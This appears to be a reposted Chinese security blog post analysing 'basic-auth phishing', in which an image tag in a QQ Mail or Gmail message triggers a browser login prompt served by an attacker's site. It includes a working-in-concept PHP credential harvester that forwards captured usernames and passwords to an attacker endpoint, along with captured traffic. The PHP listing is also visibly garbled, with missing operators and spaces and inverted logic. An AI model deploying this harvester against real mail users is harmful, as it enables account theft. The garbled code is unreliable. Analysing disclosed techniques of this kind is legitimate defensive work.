基础认证钓鱼

来源:互联网 发布:北京知镜科技有限公司 编辑:程序博客网 时间:2024/05/01 14:38

      最近看到乌云发了一个漏洞,关于基础认证钓鱼的,这边就解析一下所谓的"基础认证钓鱼"吧。

相关链接请查看:http://www.wooyun.org/bugs/wooyun-2010-015248

  • 基础认证

       默认情况下,大部分web服务器被配置为匿名访问,也就是说用户在访问服务器上的信息时一般不会被要求提示标识信息。匿名访问意味着用户不使用用户名和密码登陆就可以访问网站。这也是绝大多数公共网站所使用的配置。

在Apache的配置文件“httpd.conf”中,默认被配置为匿名访问,如:

<directory "/test/www">

 Options IndexesFollowSymLinks Includes

 AllowOverride None

 Order allow,deny

 Allow from all

</Directory>

       要强制浏览器使用基本身份认证,必须传递一个WWW-Authenticate字段,例如下边的代码使用header()函数来要求客户端使用BASIC验证,它在HTTP消息报头中增加一个WWW-Authenticate字段:

header("WWW-Authenticate:BASIC Realm=My Realm");

  • 基础认证钓鱼

我们给自己的网站添加上基础认证,如:http://xxx.duapp.com/login.php?info=Login_For_QQmail

1我们随便找一个可以添加图片的地方,比如QQ邮箱发送mail,如下图:

看效果:

2、被钓用户输入邮箱账号/密码

       抓包发现:有如下3个请求

GET http://xxx.duapp.com/login.php?info=Login_For_QQmail

401 Unauthorized(text/html)

GET http://xxx.duapp.com/login.php?info=Login_For_QQmail

302 Found to http://xxx.duapp.com/api.php?user=123456789&passwd=123456789&info=Login_For_QQmail

输入完密码以后其实是通过api.php被钓鱼者获取

       其实攻击者只需要在任何支持img标签的地方插入一段自己站点的URL就行,如:

<img alt="" src="http://xxx.duapp.com/login.php?info=Login_For_QQmail">


简单代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
$info$_GET['info'];
 
if(!isset($_SERVER['PHP_AUTH_USER'])){
header("WWW-Authenticate:BASICRealm=$info");
header("HTTP/1.0401 Unauthorized");
echo("passwordis error");
exit;
}else{
/*获取用户名,密码进行验证*/
$user=$_SERVER['PHP_AUTH_USER'];
$pwd=$_SERVER['PHP_AUTH_PW'];
header("location: http://xxx.duapp.com/api.php?user=$user&passwd=$pwd&info=$info");
if($user!="134324sdf"&&$pwd!="1dsa2sd3d3"){
echo"Yes,success!";
}else{
header("HTTP/1.0401 Unauthorized");
echo"password is error";
exit;
}
}
?>

测试发现gmail也同样存在这个问题:

本文为YunDay安全组原创,转载请务必保留署名与链接!
《解析:基础认证钓鱼》 by goderci@YunDay:  
http://www.yunday.org/?p=160